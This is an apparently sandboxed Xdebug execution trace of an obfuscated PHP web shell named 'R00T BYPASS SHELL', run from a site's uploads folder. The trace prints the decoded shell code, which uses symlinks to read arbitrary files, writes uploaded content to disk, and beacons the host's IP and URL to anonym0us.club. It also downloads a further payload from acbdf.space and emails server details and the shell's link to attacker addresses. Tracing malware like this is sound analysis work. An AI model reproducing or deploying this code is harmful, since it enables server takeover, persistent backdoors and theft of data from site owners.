Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-12 19:54:23.187801] 1 0 1 0.000188 393512 1 3 0 0.000272 409696 {main} 1 /var/www/html/uploads/r00t.php 0 0 2 4 0 0.000288 409696 base64_decode 0 /var/www/html/uploads/r00t.php 1 1 'CiBnb3RvIGFRVkEyOyBMTlJybjogaWYgKCRfUE9TVFsiXHg3MVx4NzVcMTQ1XHg3MlwxNzEiXSkgeyAkdmVyaXlmeSA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJF9QT1NUWyJceDcxXHg3NVwxNDVceDcyXDE3MSJdKSk7ICRkYXRhID0gIlwxNDRcMTQxXDE2NFx4NjFceDJlXDE2NFx4NzhceDc0IjsgQHRvdWNoKCJceDY0XDE0MVx4NzRcMTQxXHgyZVwxNjRcMTcwXDE2NCIpOyAkdmVyID0gQGZvcGVuKCRkYXRhLCAiXHg3NyIpOyBAZndyaXRlKCR2ZXIsICR2ZXJpeWZ5KTsgQGZjbG9zZSgkdmVyKTsgfSBlbHNlIHsgJGRhdGFzID0gQGZvcGVuKCJceDY0XHg2MVx4NzRceDYxXDU2XHg3NFwxNzBcMTY0IiwgIlx4NzIiKTsgJGkgPSAwOyB3aGlsZSAoJGkgPD0gNSkgeyAk' 2 4 1 0.000366 426112 2 4 R '\n goto aQVA2; LNRrn: if ($_POST["\\x71\\x75\\145\\x72\\171"]) { $veriyfy = stripslashes(stripslashes($_POST["\\x71\\x75\\145\\x72\\171"])); $data = "\\144\\141\\164\\x61\\x2e\\164\\x78\\x74"; @touch("\\x64\\141\\x74\\141\\x2e\\164\\170\\164"); $ver = @fopen($data, "\\x77"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\\x64\\x61\\x74\\x61\\56\\x74\\170\\164", "\\x72"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto aaIjD; zOMJp: if (is_writable("\\x2' 2 5 0 0.000727 480024 eval 1 '\n goto aQVA2; LNRrn: if ($_POST["\\x71\\x75\\145\\x72\\171"]) { $veriyfy = stripslashes(stripslashes($_POST["\\x71\\x75\\145\\x72\\171"])); $data = "\\144\\141\\164\\x61\\x2e\\164\\x78\\x74"; @touch("\\x64\\141\\x74\\141\\x2e\\164\\170\\164"); $ver = @fopen($data, "\\x77"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\\x64\\x61\\x74\\x61\\56\\x74\\170\\164", "\\x72"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto aaIjD; zOMJp: if (is_writable("\\x2e")) { if (isset($_POST["\\146\\151\\x6c\\145"])) { $file = $_POST["\\146\\x69\\x6c\\145"]; $fakedir = "\\x63\\x78"; $fakedep = 16; if (!isset($_SESSION["\\x6e\\x75\\155"])) { $_SESSION["\\156\\x75\\155"] = 0; } else { $_SESSION["\\156\\x75\\155"] = $_SESSION["\\156\\x75\\155"] + 1; } $level = 0; @unlink("\\x73\\x75\\156\\x2d" . $_SESSION["\\x6e\\165\\x6d"]); @mkdir("\\163\\165\\x6e\\55" . $_SESSION["\\x6e\\165\\155"]); chdir("\\x73\\x75\\x6e\\55" . $_SESSION["\\x6e\\165\\x6d"]); for ($as = 0; $as < $fakedep; $as++) { if (!file_exists($fakedir)) { mkdir($fakedir); } chdir($fakedir); } while (1 < $as--) { chdir("\\x2e\\56"); } $hardstyle = explode("\\57", $file); for ($a = 0; $a < count($hardstyle); $a++) { if (!empty($hardstyle[$a])) { if (!file_exists($hardstyle[$a])) { mkdir($hardstyle[$a]); } chdir($hardstyle[$a]); $as++; } } $as++; while ($as--) { chdir("\\56\\x2e"); } @rmdir("\\x73\\165\\x6e\\x2d\\146\\x61\\153\\145"); @unlink("\\x73\\x75\\156\\x2d\\x66\\x61\\153\\x65"); @symlink(str_repeat($fakedir . "\\x2f", $fakedep), "\\163\\165\\x6e\\55\\146\\x61\\x6b\\x65"); if ($_POST["\\164\\x79\\160\\x65"] == "\\x66\\x69\\154\\x65") { while (1) { if (true == @symlink("\\x73\\165\\156\\x2d\\x66\\141\\x6b\\x65\\57" . str_repeat("\\x2e\\x2e\\57", $fakedep - 1) . $file, "\\151\\156\\x64\\145\\170\\x2e\\x68\\164\\x6d\\154")) { break; } else { $num++; } } @unlink("\\x73\\165\\156\\55\\146\\141\\153\\145"); mkdir("\\163\\x75\\156\\x2d\\146\\x61\\153\\145"); $Res = "\\74\\x46\\117\\x4e\\124\\40\\x43\\x4f\\x4c\\x4f\\122\\x3d\\42\\122\\105\\x44\\x22\\x3e\\74\\x42\\76\\x20\\163\\171\\155\\x6c\\x69\\x6e\\153\\40\\74\\102\\76\\x3c\\x61\\40\\150\\162\\x65\\x66\\75\\x22\\56\\x2f\\x73\\x75\\x6e\\x2d" . $_SESSION["\\156\\165\\x6d"] . "\\57\\x22\\76\\x73\\171\\x6d\\x6c\\151\\x6e\\x6b" . $num . "\\x3c\\57\\x61\\x3e\\40\\146\\x69\\154\\x65\\x3c\\x2f\\106\\117\\x4e\\x54\\x3e"; } else { $fp = fopen("\\x2e\\x68\\164\\141\\x63\\143\\x65\\x73\\163", "\\x61\\x2b"); $File = "\\104\\151\\x72\\145\\x63\\x74\\x6f\\x72\\x79\\111\\156\\x64\\145\\170\\40\\x73\\165\\156\\x2e\\x68\\x74\\155"; fwrite($fp, $File); while (1) { if (true == @symlink("\\163\\165\\x6e\\55\\x66\\141\\x6b\\145\\57" . str_repeat("\\56\\x2e\\57", $fakedep - 1) . $file, "\\163\\x75\\x6e")) { break; } else { $num++; } } @unlink("\\x73\\x75\\156\\55\\x66\\141\\153\\145"); mkdir("\\x73\\165\\156\\x2d\\146\\x61\\153\\x65"); $Res = "\\74\\x46\\x4f\\116\\x54\\40\\103\\x4f\\114\\117\\x52\\75\\x22\\x52\\x45\\104\\x22\\76\\74\\x61\\x20\\x68\\162\\x65\\146\\x3d\\x22\\x2e\\57\\163\\165\\156\\55" . $_SESSION["\\x6e\\x75\\x6d"] . "\\57\\x73\\x75\\x6e\\42\\x3e\\x43\\150\\x65\\x63\\x6b\\x20\\111\\164\\41" . $num . "\\x3c\\x2f\\x61\\x3e\\x3c\\x2f\\106\\117\\116\\x54\\x3e"; } } } else { $Res = "\\74\\106\\x4f\\x4e\\124\\x20\\x43\\x4f\\114\\x4f\\x52\\x3d\\x22\\x52\\x45\\104\\x22\\76\\103\\x61\\x6e\\x74\\x20\\x57\\162\\x69\\x74\\145\\40\\x49\\x6e\\x20\\x44\\x69\\162\\x65\\x63\\164\\x6f\\x72\\171\\x21\\74\\x2f\\x46\\157\\x6e\\164\\x3e"; } goto uce9K; clyOD: if (function_exists("\\x63\\165\\x72\\x6c\\x5f\\151\\156\\151\\164")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\\146\\x69\\x6c\\145\\x5f\\x67\\145\\x74\\137\\143\\157\\x6e\\x74\\x65\\156\\x74\\x73")) { @($gitt = file_get_contents($x)); } goto kmCME; ujahn: $time_shell = \'\' . date("\\144\\57\\155\\x2f\\x59\\x20\\55\\40\\110\\x3a\\151\\72\\x73") . \'\'; goto tuHZp; WY6v3: print $Res; goto JrGAj; p0Cva: function GetIP() { if (getenv("\\x48\\124\\124\\120\\137\\x43\\x4c\\111\\105\\116\\x54\\137\\111\\x50")) { $ip = getenv("\\x48\\124\\x54\\x50\\x5f\\x43\\114\\111\\105\\116\\x54\\x5f\\x49\\120"); } elseif (getenv("\\110\\124\\x54\\120\\x5f\\130\\x5f\\x46\\117\\122\\127\\x41\\122\\x44\\105\\x44\\x5f\\106\\x4f\\122")) { $ip = getenv("\\x48\\124\\124\\120\\x5f\\130\\x5f\\x46\\117\\x52\\x57\\101\\122\\x44\\x45\\104\\137\\x46\\x4f\\x52"); if (strstr($ip, "\\x2c")) { $tmp = explode("\\54", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\\x52\\x45\\115\\117\\124\\x45\\137\\x41\\104\\104\\122"); } return $ip; } goto zMHiM; zMHiM: $x = base64_decode("\\141\\x48\\122\\x30\\x63\\x48\\115\\x36\\114\\171\\x39\\x68\\142\\x6d\\x39\\x75\\145\\x57\\60\\x77\\144\\x58\\x4d\\165\\x59\\x32\\x78\\61\\131\\x69\\x39\\x73\\114\\x51\\75\\x3d") . GetIP() . "\\x2d" . base64_encode("\\x68\\164\\x74\\x70\\x3a\\x2f\\57" . $_SERVER["\\110\\124\\124\\x50\\137\\110\\117\\123\\x54"] . $_SERVER["\\x52\\x45\\121\\125\\x45\\123\\124\\x5f\\125\\x52\\x49"]); goto clyOD; fNYhr: $EL_MuHaMMeD .= "\\123\\145\\162\\166\\x65\\162\\40\\x41\\x64\\155\\x69\\x6e\\40\\x3a\\x20" . $_SERVER["\\123\\x45\\x52\\x56\\x45\\x52\\137\\101\\x44\\115\\x49\\116"] . "\\xd\\xa"; goto RHsqX; kmCME: ?>\n\n\nr00t.info Safe-Over [Apache]\n\n\n
\n\n
 \n \n \nR00T BYPASS SHELL\n \n \n \n \n \n \n\n\n


\n\n\n\n\n" method="post">\nPath:

File Dir


\n\n\n\n\n
\n R00T BYPASS SHELL
\n
\n\n\n

\nOff' 3 11 0 0.001323 480776 base64_decode 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==' 3 11 1 0.001339 480872 3 11 R 'https://anonym0us.club/l-' 3 12 0 0.001355 480840 GetIP 1 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 0 4 13 0 0.001366 480840 getenv 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'HTTP_CLIENT_IP' 4 13 1 0.001381 480872 4 13 R FALSE 4 14 0 0.001393 480840 getenv 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'HTTP_X_FORWARDED_FOR' 4 14 1 0.001408 480872 4 14 R FALSE 4 15 0 0.001421 480840 getenv 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'REMOTE_ADDR' 4 15 1 0.001434 480912 4 15 R '127.0.0.1' 3 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $ip = '127.0.0.1' 3 12 1 0.001460 480880 3 12 R '127.0.0.1' 3 16 0 0.001474 480904 base64_encode 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'http://localhost/uploads/r00t.php' 3 16 1 0.001489 481016 3 16 R 'aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3IwMHQucGhw' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $x = 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3IwMHQucGhw' 3 17 0 0.001522 480888 function_exists 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'curl_init' 3 17 1 0.001536 480928 3 17 R TRUE 3 18 0 0.001549 480888 curl_init 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 0 3 18 1 0.001568 481800 3 18 R resource(3) of type (curl) 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $ch = resource(3) of type (curl) 3 19 0 0.001602 481800 curl_setopt 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 3 resource(3) of type (curl) 10002 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3IwMHQucGhw' 3 19 1 0.001623 481896 3 19 R TRUE 3 20 0 0.001635 481800 curl_setopt 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 3 resource(3) of type (curl) 19913 TRUE 3 20 1 0.001651 481896 3 20 R TRUE 3 21 0 0.001664 481800 curl_exec 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 resource(3) of type (curl) 3 21 1 0.746302 481832 3 21 R '' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $gitt = '' 3 22 0 0.746368 481800 curl_close 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 resource(3) of type (curl) 3 22 1 0.747222 480944 3 22 R NULL 3 23 0 0.747400 480912 file_get_contents 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3IwMHQucGhw' 3 23 1 1.321833 482968 3 23 R '' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $gitt = '' 3 24 0 1.322031 482928 date 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 1 'd/m/Y - H:i:s' 3 24 1 1.322105 485280 3 24 R '12/02/2023 - 16:53:58' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $time_shell = '12/02/2023 - 16:53:58' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 24 $ip_remote = '127.0.0.1' 3 25 0 1.322150 485040 gethostbyname 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 37 1 'localhost' 3 25 1 1.322207 485120 3 25 R '127.0.0.1' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 37 $from_shellcode = 'ZEROBYTE@127.0.0.1' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 45 $to_email = 'loginoldum@gmail.com' 3 26 0 1.322250 485088 gethostbyname 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 26 1 'localhost' 3 26 1 1.322277 485168 3 26 R '127.0.0.1' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 26 $server_mail = '127.0.0.1 - localhost' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 45 $linkcr = 'Link: localhost/uploads/r00t.php - IP Excuting: 127.0.0.1 - Time: 12/02/2023 - 16:53:58' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 26 $header = 'From: ZEROBYTE@127.0.0.1\r\nReply-to: ZEROBYTE@127.0.0.1' 3 27 0 1.322337 485328 mail 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 26 4 'loginoldum@gmail.com' '127.0.0.1 - localhost' 'Link: localhost/uploads/r00t.php - IP Excuting: 127.0.0.1 - Time: 12/02/2023 - 16:53:58' 'From: ZEROBYTE@127.0.0.1\r\nReply-to: ZEROBYTE@127.0.0.1' 3 27 1 1.323250 485472 3 27 R FALSE 3 28 0 1.323290 485328 fopen 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 'data.txt' 'r' 3 28 1 1.323326 485400 3 28 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $datas = FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i = 0 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i++ 3 29 0 1.323373 485328 fgets 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 FALSE 1024 3 29 1 1.323390 485392 3 29 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $blue = FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i++ 3 30 0 1.323424 485328 fgets 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 FALSE 1024 3 30 1 1.323437 485392 3 30 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $blue = FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i++ 3 31 0 1.323469 485328 fgets 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 FALSE 1024 3 31 1 1.323483 485392 3 31 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $blue = FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i++ 3 32 0 1.323513 485328 fgets 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 FALSE 1024 3 32 1 1.323527 485392 3 32 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $blue = FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i++ 3 33 0 1.323556 485328 fgets 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 FALSE 1024 3 33 1 1.323570 485392 3 33 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $blue = FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $i++ 3 34 0 1.323599 485328 fgets 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 2 2 FALSE 1024 3 34 1 1.323613 485392 3 34 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $blue = FALSE 3 35 0 1.323634 485328 fopen 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 24 2 'js/js.php' 'r' 3 35 1 1.323665 485400 3 35 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 24 $datasi = FALSE 3 36 0 1.323689 485328 mkdir 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 24 1 'js' 3 36 1 1.323732 485368 3 36 R TRUE 3 37 0 1.323746 485328 file_get_contents 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 24 1 'https://acbdf.space/txt/css.txt' 3 37 1 2.086833 534400 3 37 R 'Sender Yazdirildi.
SITE YOL : http://localhost/uploads/r00t.php
Sender Yolu : js/crs.php' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 24 $header .= 'From: SheLL Boot \n' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 24 $header .= 'Content-Type: text/html;\n charset=utf-8\n' 3 42 0 2.087541 534688 mail 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 24 4 'byhero44@gmail.com' 'Hacklink Bildiri' '

Sender Yazdirildi.
SITE YOL : http://localhost/uploads/r00t.php
Sender Yolu : js/crs.php

' 'From: ZEROBYTE@127.0.0.1\r\nReply-to: ZEROBYTE@127.0.0.1From: SheLL Boot \nContent-Type: text/html;\n charset=utf-8\n' 3 42 1 2.088632 534832 3 42 R FALSE 3 43 0 2.088668 534688 mail 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 24 4 'loginoldum@gmail.com' 'Hacklink Bildiri' '

Sender Yazdirildi.
SITE YOL : http://localhost/uploads/r00t.php
Sender Yolu : js/crs.php

' 'From: ZEROBYTE@127.0.0.1\r\nReply-to: ZEROBYTE@127.0.0.1From: SheLL Boot \nContent-Type: text/html;\n charset=utf-8\n' 3 43 1 2.089821 534832 3 43 R FALSE 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 45 $kime = 'loginoldum@gmail.com' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 26 $baslik = 'sym404 shell 20203' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 45 $EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 2 $EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 26 $EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 39 $EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/r00t.php\r\n' 2 A /var/www/html/uploads/r00t.php(1) : eval()'d code 45 $EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n' 3 44 0 2.089948 534912 mail 0 /var/www/html/uploads/r00t.php(1) : eval()'d code 24 3 'loginoldum@gmail.com' 'sym404 shell 20203' 'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/r00t.php\r\nAvlanan Site : localhost\r\n' 3 44 1 2.091034 535008 3 44 R FALSE 2 5 1 2.091071 534912 1 3 1 2.091084 482928 2.091127 384288 TRACE END [2023-02-12 19:54:25.278771]